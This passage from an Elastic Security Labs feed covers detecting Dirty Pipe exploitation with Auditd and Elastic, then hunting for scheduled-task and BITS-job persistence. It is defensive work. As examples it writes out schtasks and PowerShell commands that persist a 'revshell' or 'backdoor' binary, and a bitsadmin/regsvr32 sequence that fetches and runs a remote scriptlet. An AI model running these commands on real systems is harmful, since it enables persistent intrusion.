<p>Additionally, you can use the <a href="https://docs.elastic.co/en/integrations/osquery_manager">Osquery Manager integration</a> to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26b896eaa909f0d1/6a7d7ed677b034fa0c3fc5e0/dirty-pipe-with-elastic-image3.jpg" alt="Using Osquery Manager to collect kernel versions" title="Using Osquery Manager to collect kernel versions" /></p>
<h2 id="detectingcve20220847exploitationusingauditd">Detecting CVE-2022-0847 exploitation using Auditd</h2>
<p><a href="https://linux.die.net/man/8/auditd">Auditd</a> is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.</p>
<h3 id="auditdrules">Auditd rules</h3>
<p>Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.</p>
<p>Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.</p>
<pre><code>Dirty Pipe Auditd rules

-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe
</code></pre>
<blockquote>
  <p>The aforementioned rules were adapted by Elastic Security from initial findings by <a href="https://twitter.com/jonasl/status/1501840914381258756">Jonas LeJon</a>.</p>
</blockquote>
<h2 id="linuxauditingsystemeventcollectionwithelastic">Linux Auditing System event collection with Elastic</h2>
<p>There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.</p>
<blockquote>
  <p>Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the <a href="https://www.elastic.co/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic#auditd-rules">Auditd rules described above</a>.</p>
</blockquote>
<h3 id="theelasticagentwauditdintegration">The Elastic Agent w/Auditd Integration</h3>
<p>The Elastic Agent with the <a href="https://docs.elastic.co/en/integrations/auditd">Auditd Integration</a> allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e44436ae5f6b862/6a7d7ed94c4bfb7275cca7da/dirty-pipe-with-elastic-image6.png" alt="Elastic Agent Auditd integration" title="Elastic Agent Auditd integration" /></p>
<p>Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.</p>
<p>You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : "auditd.log".</p>
<h3 id="auditbeat">Auditbeat</h3>
<p>You can use the <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html">Auditbeat Auditd module</a> to collect the Linux Audit Framework logs. To do this, <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html">install Auditbeat</a>. You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.</p>
<pre><code>Stopping and disabling Auditd

sudo service auditd.service stop
sudo chkconfig auditd.service off
</code></pre>
<p>Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.</p>
<pre><code>Adding Dirty Pipe detection rules to the Auditbeat configuration file

# ===== Modules configuration =====

auditbeat.modules:

* module: auditd

# Load audit rules from separate files. Same format as audit.rules(7)

  audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]
  audit_rules: |

## Define audit rules here

## Create file watches (-w) or syscall audits (-a or -A). Uncomment these

## examples or add your own rules

    -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

…truncated…
</code></pre>
<p>Check the configuration and connectivity of Auditbeat using the test commands.</p>
<pre><code>Testing the Auditbeat configuration and output settings

sudo auditbeat test config
sudo auditbeat test output
</code></pre>
<p>Run the Auditbeat setup command using sudo auditbeat setup.</p>
<p>Start Auditbeat using sudo systemctl start auditbeat.service.</p>
<p>Now you should be able to verify events are being populated in the auditbeat-* Data View within Kibana.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt184c4f9d1f48d4e7/6a7d7edc73d9bd83ff29ab70/dirty-pipe-with-elastic-image4.jpg" alt="Auditbeat Data View in Kibana" title="Auditbeat Data View in Kibana" /></p>
<h3 id="filebeat">Filebeat</h3>
<p>You can use the <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-auditd.html">Auditd module for Filebeat</a> to collect the Auditd logs as well. To do this, <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-installation-configuration.html">install Filebeat</a> and then enable the Auditd module</p>
<p>sudo filebeat modules enable auditd</p>
<p>Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.</p>
<pre><code>Enabling Auditd log in the Filebeat configuration file

sudo vi /etc/filebeat/modules.d/auditd.yml

# Module: auditd

# Docs: &lt;https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-auditd.html&gt;

* module: auditd
  log:
    enabled: true

# Set custom paths for the log files. If left empty

# Filebeat will choose the paths depending on your OS

    #var.paths:
</code></pre>
<pre><code>Testing the Filebeat configuration and output settings

sudo filebeat test config
sudo filebeat test output
</code></pre>
<p>Run the Filebeat setup command using sudo filebeat setup.</p>
<p>Start Filebeat using sudo systemctl start filebeat.service.</p>
<h2 id="detectingdirtypipewithelastic">Detecting Dirty Pipe with Elastic</h2>
<p>Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.</p>
<h3 id="huntqueriesinkibana">Hunt queries in Kibana</h3>
<p>KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:</p>
<pre><code>KQL query to detect Dirty Pipe exploitation attempts

auditd.log.key : dirtypipe and process.name : *
</code></pre>
<p>EQL query compatible with using the Auditbeat:</p>
<pre><code>EQL query to detect Dirty Pipe exploitation attempts

process where tags : "dirtypipe" and not process.name : ""
</code></pre>
<h3 id="detectionenginealerts">Detection Engine alerts</h3>
<p>You can also create a Detection Engine alert to monitor for exploitation attempts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1737e2bb4bf318cc/6a7d7edf51156ad5fd2bf80b/dirty-pipe-with-elastic-image2.jpg" alt="Dirty Pipe Detection Rule" title="Dirty Pipe Detection Rule" /></p>
<p>Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3a0f1fb92cfbcedb/6a7d7ee22f00b2903cefbe58/dirty-pipe-with-elastic-image5.png" alt="A preview of alerts created pertaining to the log keys created by Auditd" title="A preview of alerts created pertaining to the log keys created by Auditd" /></p>
<h2 id="respondtoobservedthreats">Respond to Observed Threats</h2>
<p>Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdd32a4b0a1e446bb/6a7d7ee54c4bfbfc11cca7e2/dirty-pipe-with-elastic-image1.png" alt="In-platform capabilities of Elastic Security demonstrating response capabilities" title="In-platform capabilities of Elastic Security demonstrating response capabilities" /></p>
<h2 id="defenseindepthrecommendations">Defense in Depth Recommendations</h2>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’</li>
<li>Review and implement the above detection logic within your environment using technology described in the post</li>
<li>Maintain backups of your critical systems to aid in quick recovery</li>
</ol>
<h2 id="references">References</h2>
<p>The following research was referenced throughout the document:</p>
<ul>
<li>Exploit CVE reference: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847">CVE-2022-0847</a></li>
<li>Write-up using eBPF for some detections: <a href="https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/">https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig</a></li>
<li>Original Max Kellermann write-up: <a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a></li>
<li>SUID shell: ​​<a href="https://haxx.in/files/dirtypipez.c">https://haxx.in/files/dirtypipez.c</a></li>
<li>Passwd overwrite: <a href="https://github.com/liamg/traitor">https://github.com/liamg/traitor</a></li>
<li>Passwd overwrite: ​​<a href="https://github.com/imfiver/CVE-2022-0847">https://github.com/imfiver/CVE-2022-0847</a></li>
<li>Metasploit module: <a href="https://github.com/rapid7/metasploit-framework/pull/16303">https://github.com/rapid7/metasploit-framework/pull/16303</a></li>
<li>Original Auditd detection logic: <a href="https://twitter.com/jonasl/status/1501840914381258756?s=20&amp;t=MIWwwXpl5t0JiopVxX5M5Q">https://twitter.com/jonasl/status/1501840914381258756?s=20&amp;t=MIWwwXpl5t0JiopVxX5M5Q</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detecting-and-responding-to-dirty-pipe-with-elastic</link>
    <guid isPermaLink="false">detecting-and-responding-to-dirty-pipe-with-elastic</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Colson Wilhoit,Samir Bousseaden,Jake King,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt40b1b089c0593a13/6a7d7ee8227b1c230459579c/photo-edited-01@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 2)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>In Part 2 of this two-part series, our goal is to provide security practitioners with better visibility, knowledge, and capabilities relative to malicious persistence techniques that impact organizations around the world every day.</p>
<p><a href="https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1">Part 1</a> explained what persistence is and why attackers need it. It introduced the Event Query Language (<a href="https://www.elastic.co/blog/getting-started-eql">EQL</a>) before showing its practical use cases for threat hunting. Finally, it examined a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We shared how <a href="https://www.elastic.co/security">Elastic Security</a> users can hunt for and detect this technique being used in their environment.</p>
<p>In this post, we’ll explore two additional persistence techniques that are being used by attackers in the wild: Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>) and BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>). This blog assumes you've already learned a little EQL as we walk through real-world examples and provide ready-to-use detection logic for each technique.</p>
<h2 id="persistenceviascheduledtaskst1053">Persistence via scheduled tasks (T1053)</h2>
<p>Windows provides a built-in utility called schtasks.exe that allows you to create, delete, change, run, and end tasks on a local or remote computer. Scheduled tasks run at an elevated privilege level, which means this persistence mechanism can indirectly satisfy privilege escalation (TA0004) as well. It’s important to be aware of scheduled tasks that exist in your environment (such as maintenance or backup tasks) as well as tasks created during the installation of new software (like PDF readers or browsers). It's also essential for security teams to baseline their environment, as knowing all the legitimate ways that scheduled tasks are used will help you become a more effective hunter and identify anomalies more quickly.</p>
<p>An adversary may attempt to abuse scheduled tasks to execute programs at startup or on a regular cadence for persistence. Threat actors like <a href="https://attack.mitre.org/groups/G0049/">APT34</a>, <a href="https://attack.mitre.org/groups/G0016/">APT29</a>, and <a href="https://attack.mitre.org/groups/G0037/">FIN6</a> have been known to use scheduled tasks as a means to persist. Figure 1 depicts some of the command line parameters available to schtasks.exe, which we can use as references when analyzing task creation events.</p>
<pre><code>/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists
</code></pre>
<p><em>Figure 1 - Portion of Windows schtasks.exe available command line parameters</em></p>
<p>Figure 2 shows an example of a schtasks.exe command. <a href="https://lolbas-project.github.io/lolbas/Binaries/Schtasks/">This example</a> is from the popular <a href="https://lolbas-project.github.io/">Living Off The Land Binaries and Scripts (LOLBAS)</a> project that demonstrates how built-in, trusted Operating System utilities can be abused by adversaries to achieve their objectives. By looking at the command line parameters in the example, the task named Reverse Shell is configured to execute the binary C:\some\directory\revshell.exe every minute.</p>
<pre><code>schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe
</code></pre>
<p><em>Figure 2 - Example of scheduled task creation using schtasks.exe</em></p>
<p>Windows PowerShell also includes several <a href="https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/?view=win10-ps">ScheduledTasks cmdlets</a> that can be used to create and manage scheduled tasks on Windows endpoints. Security teams can hunt for suspicious usage of these cmdlets including the ones listed in Figure 3. Organizations that have already deployed PowerShell 5.0 should consider monitoring suspicious script block logging events, Event ID 4104. A good resource on PowerShell visibility and recommended log sources to monitor can be found <a href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">here</a>.</p>
<pre><code>New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer
</code></pre>
<p><em>Figure 3 - Common PowerShell cmdlets for scheduled task creations</em></p>
<p>Figure 4 shows how these PowerShell cmdlets can be used to create and register a scheduled task.</p>
<pre><code>PS C:\&gt; $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\&gt; $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\&gt; $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\&gt; Register-ScheduledTask Backdoor -InputObject $D
</code></pre>
<p><em>Figure 4 - PowerShell cmdlets being used to create and register a scheduled task</em></p>
<h2 id="realworldexampleapt34scheduledtasksabuse">Real-world example: APT34 scheduled tasks abuse</h2>
<p>As mentioned previously, APT34, a highly organized and technical state-sponsored threat group, is known to use scheduled tasks for persistence. The following visualization (Figure 5) depicts one of the ways a scheduled task can be used. In this case, we’re seeing the result of a victim opening a phishing lure (Step 1) — attributed to the APT34 threat group — via the Resolver view. Resolver is a critical enabler for security practitioners, as discussed in <a href="https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1">Part 1</a>. In this example, the following behaviors can be observed:</p>
<ul>
<li>A malicious macro, embedded within a Microsoft Word document, was opened (Step 2)</li>
<li>Upon opening the Word document and executing the malicious macro, the native Windows script interpreter (wscript.exe) executed a script introduced by the adversary (Step 3)</li>
<li>The script created a callback to C2 while also establishing persistence via a scheduled task (Step 4)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2758920df574e2a/6a7d81d1ead8ec8ef3ba7b4e/adversary-tradecraft-101-part-2-image1.jpg" alt="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" title="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" /></p>
<p>Figure 6 depicts the command line arguments parsed from the malicious scheduled task. Every minute, the native Windows Script Host utility, wscript.exe, will execute the malicious VBScript file, AppPool.vbs, which resides in the ProgramData subdirectory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd4c31c9b416f2e3/6a7d81d4e02fac22d55d352a/adversary-tradecraft-101-part-2-image2.png" alt="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" title="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" /></p>
<h2 id="huntingforscheduledtasks">Hunting for scheduled tasks</h2>
<p>With an understanding of the technique, observable artifacts, and common attributes of schtasks.exe execution, we're better prepared to succeed in our hunt for malicious scheduled task creation events. The EQL query in Figure 7 matches event sequences where the task scheduler process, schtasks.exe, is created by one of several commonly abused binaries and matches some of the command line parameters previously described. By uniquing on the command line, this allows us to focus our hunt on unique task creations and their properties.</p>
<p>This query matches behaviors described in our earlier APT34 example, in which schtasks.exe descended from wscript.exe. Windows script host (WSH) is a script interpreter and should generally not have many descendants. In this case, it indicates that WSH was used to interpret a JScript or VBScript object that directly or by proxy implemented a scheduled task using schtasks.exe. This EQL query can also be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time this activity occurs.</p>
<pre><code>process where subtype.create and
 process_name == "schtasks.exe" and
  descendant of
   [process where process_name in ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe",
    "wmic.exe", "mshta.exe","powershell.exe")] and
   command_line == "* /create*" and
   wildcard(command_line, "*/RU*", "*/SC*", "*/TN*", "*/TR*", "*/F*")
| unique command_line
</code></pre>
<p><em>Figure 7 - EQL query to search for the creation of schtasks.exe as a descendant of commonly abused processes</em></p>
<p>In <a href="https://www.elastic.co/siem">Elastic SIEM</a>, we can search for the use of the scheduled tasks utility and drag and drop fields of interest into the responsive Timeline (Figure 8) for further investigation. Data from multiple indices, or data sources, can be added to the <a href="https://www.elastic.co/guide/en/siem/guide/current/siem-ui-overview.html">Timeline</a> view, which enables analysts to organize leads and investigate complex threats. <a href="https://www.elastic.co/blog/elastic-stack-7-6-0-released">Version 7.6</a> introduced a detection engine that included 92 out-of-the-box rules for detection in Windows, Linux, network, and APM telemetry — as well as enabling users to create their own custom rules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta09911903c7415d5/6a7d81d83cab1c2e920e1a14/Timeline2.gif" alt="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" title="Figure 8 - Using Timeline in Elastic SIEM to investigate schtasks.exe creation events" /></p>
<h2 id="otherscheduledtaskconsiderations">Other scheduled task considerations</h2>
<p>Scheduled tasks may not seem sophisticated, but they are a great example of how hunters must understand the various ways that an adversary can schedule a task on a system. When shallowly monitoring a technique (i.e., only looking for use of schtasks.exe), a team can easily lull itself into a false sense of security. Understanding adversary tradecraft and having access to the relevant telemetry is crucial for successful threat hunting.</p>
<p>It’s important to note that there are many other ways scheduled tasks can be abused by adversaries, including offensive security tools, custom scripts, .job files, the AT command, and directly via the <a href="https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-reference">Task Scheduler API</a>. Elastic Security provides detections and preventions for various TTPs related to scheduled task abuse and provides API-level visibility.</p>
<p>In the next section, we’ll analyze BITS jobs, how they are used by attackers in the wild, and a variety of methods to identify or detect this technique.</p>
<h2 id="persistenceviabitsjobst1197">Persistence via BITS jobs (T1197)</h2>
<p>Windows <a href="https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal">Background Intelligent Transfer Service (BITS)</a> is a built-in framework used to transfer files to and from web and SMB servers. Microsoft provides a utility called bitsadmin.exe and PowerShell cmdlets for managing the transfer of files.</p>
<p>Microsoft uses BITS to download and install updates in the background — using idle bandwidth. For example, if a user starts a Windows Update and signs out of the computer, or if a network connection is lost, BITS will resume the download automatically as soon as it is able. The capability to survive reboots makes it an ideal tool for attackers to transfer malicious files and possibly large volumes of data the actor plans to steal. Threat groups like <a href="https://attack.mitre.org/groups/G0065/">APT40</a> and malware families such as the Qbot banking trojan have used BITS to transfer malicious files and set up persistence.</p>
<p>Figure 9 shows some <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">parameters</a> that can be used with bitsadmin.exe. We can identify interesting activity by focusing on creation and transfer command line options.</p>
<pre><code>/create - creates a transfer job with the given display name
/addfile - adds a file to the specified job
/resume - activates a new or suspended job in the transfer queue
/transfer - transfers one or more files
/SetNotifyCmdLine - sets the command that will run when the job finishes transferring data or when a job enters a state
/SetMinRetryDelay - sets the minimum length of time, in seconds, that BITS waits after encountering a transient error before trying to transfer the file
</code></pre>
<p><em>Figure 9 - Parameters that can be used with the Windows bitsadmin.exe utility</em></p>
<p>Figure 10 shows an example of how the above parameters can be used to create a BITS job. The below example from the <a href="https://github.com/3gstudent/bitsadminexec">bitsadminexec</a> project demonstrates how bitsadmin.exe can be used to execute the Squiblydoo technique, discovered by <a href="https://twitter.com/subTee">Casey Smith</a>. Squiblydoo utilizes regsvr32.exe to download an XML file that contains scriptlets for executing code on the victim machine. This <a href="https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct">sample</a> executes calc.exe, but it’s a good use case for how this could be used maliciously:</p>
<pre><code># create backdoor
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
</code></pre>
<p><em>Figure 10 - Example of using bitsadmin.exe to execute Squiblydoo</em></p>
<p>Since BITS <a href="https://docs.microsoft.com/en-us/windows/win32/bits/what-s-new">version 4.0</a> (standard in Windows Server 2008 R2 and Windows 7), PowerShell cmdlets can also be used to create and manage file transfer jobs. The PowerShell <a href="https://docs.microsoft.com/en-us/windows/win32/bits/bits-powershell-commands">cmdlets</a> for BITS provide much of the same functionality as the bitsadmin.exe command line utility, a subset of which are depicted in Figure 11:</p>
<pre><code>Add-BitsFile - add one or more files to a BITS transfer
Resume-BitsTransfer - resumes a suspended BITS transfer job
Set-BitsTransfer - modifies the properties of a BITS transfer job
Start-BitsTransfer - create and start a BITS transfer job
</code></pre>
<p><em>Figure 11 - Common PowerShell cmdlets for BITS</em></p>
<p>A good cmdlet to monitor is Start-BitsTransfer. The local and remote names of the file are specified in the Source and Destination parameters. This can be depicted as seen in Figure 12. As stated previously, analysts should monitor suspicious script block logging events, Event ID 4104, in the Microsoft-Windows-PowerShell/Operational log.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbec5684a9c1c9e2d/6a7d81db5967e5afcb5da559/adversary-tradecraft-101-part-2-image3.jpg" alt="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" title="Figure 12 - PowerShell scriptblock event from Microsoft-Windows-PowerShell/Operational log" /></p>
<h2 id="huntingformaliciousbitsjobs">Hunting for malicious BITS jobs</h2>
<p>The EQL query in Figure 13 demonstrates some of the command line arguments you might see while hunting for malicious use of bitsadmin.exe. The query searches for a process creation event for the bitsadmin.exe binary and the common command line parameters associated with the creation or transfer of a BITS job, and returns unique results based on the command line value. Focusing on unique results while hunting allows us to narrow our focus and more easily spot anomalous activity.</p>
<pre><code>process where subtype.create and
  process_name == "bitsadmin.exe" and
  wildcard(command_line, "*Transfer*", "*Create*", "*AddFile*", "*SetNotifyCmdLine*",
                        "*SetMinRetryDelay*", "*Resume*")
| unique command_line
</code></pre>
<p><em>Figure 13 - EQL query looking for common bitsadmin.exe command line parameters</em></p>
<p>Additionally, during rule creation, you have the option to enable a "Reflex Response." With “Reflex Response,” if such behavior defined in a custom rule is detected, it uses Endpoint Security’s unique telemetry-gathering and enrichment to execute an automated response before damage and loss can occur (Figure 14). This functionality enables analysts to take action to stop the malicious behavior and then investigate the events that led up to and occurred after the threat, as opposed to investigating a current threat that may be past the point of remediation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcebda3104656f4b8/6a7d81dee88c65f291008990/adversary-tradecraft-101-part-2-image4.jpg" alt="Figure 14 - Reflex Response in Elastic Endpoint Security" title="Figure 14 - Reflex Response in Elastic Endpoint Security" /></p>
<p>Executing an EQL hunt in the Endpoint Security product using the EQL query from above can lead to finding real-world campaigns like Qbot, shown in Figure 15.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81b2e1ab3346fd04/6a7d81e1e02fac388c5d352e/adversary-tradecraft-101-part-2-image5.png" alt="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" title="Figure 15 - Results of EQL hunt in Elastic Endpoint Security" /></p>
<h2 id="realworldexampleqbotmalware">Real-world example: Qbot malware</h2>
<p>QBot is a widely distributed banking Trojan that is capable of self-replication and has historically relied on PowerShell. Recently, however, it may have been <a href="https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/">abandoned</a> in favor of bitsadmin.exe — an application unlikely to be scrutinized as aggressively.</p>
<p>This variant utilizes a .vbs dropper by masquerading as a .doc file, as Windows still hides the original filename extension by default. Upon execution, in this case via the parent process wscript.exe, the malware spawns bitsadmin.exe to create a transfer job that downloads a subsequent payload, shown in the Timeline view in the SIEM app (Figure 16).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3fa3a5de75cedf56/6a7d81e405b7b543de188b64/adversary-tradecraft-101-part-2-image6.png" alt="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" title="Figure 16 - Process arguments from Qbot banking malware shown in the Elastic SIEM" /></p>
<p>Analyzing the process.args field values as depicted in Figure 17 reveals that the malware takes the following actions:</p>
<ul>
<li>Creates a randomly named transfer job with high priority</li>
<li>Uses bitsadmin.exe to download its second stage payload from a command &amp; control (C2) server (Note that widgetcontrol.png is actually a Windows executable)</li>
<li>Base64 encodes data on the endpoint’s operating system version and antivirus software, which it passes back to C2 in the beacon URI</li>
<li>Randomizes the name of the payload and writes it to a subfolder of the %AppData% path</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt502b6fd596a5b2b4/6a7d81e6de2315ff31fd4e4c/adversary-tradecraft-101-part-2-image7.png" alt="Figure 17 - Analysis of process arguments from Qbot banking malware" title="Figure 17 - Analysis of process arguments from Qbot banking malware" /></p>
<p>This example showcases how bitsadmin.exe can be used by threat actors to attempt to bypass traditional defenses by using a less common, built-in utility. This application is effectively used by threat actors for transferring files and maintaining a presence in a victim environment.</p>
<h2 id="othersbitsandpieces">Others BITS and pieces</h2>
<p>The Microsoft_Windows_Bits_Cient Operational.evtx log file is a native Microsoft event log. It records every operation executed by the BITS client, either via bitsadmin.exe or PowerShell. Within that log store, Event ID 3 is used when The BITS service creates a new job. <a href="https://www.elastic.co/downloads/beats/winlogbeat">Winlogbeat</a> can be configured to monitor that event.provider as shown in Figure 18. Elastic Security provides telemetry, detections, and threat hunting capabilities for BITS abuse at enterprise scale.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f7177a88d8415a5/6a7d81e94c4bfb9e5ccca863/adversary-tradecraft-101-part-2-image8.png" alt="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" title="Figure 18 - Microsoft-Windows-Bit-Client event from Winlogbeat" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog series, we examined popular techniques that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM — along with the protections provided out of the box — lower the barriers to entry for analysts, provides detailed visibility into endpoint activity, and enables organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>Try <a href="https://www.elastic.co/security/siem">Elastic SIEM</a> for free today. To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>View our webinar on <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-2</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-2</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Brent Murphy,David French,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4070d2cb2ce0318c/6a7d81ec5967e5d2b55da55f/blog-thumb-shattered-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Hunting In Memory]]></title>
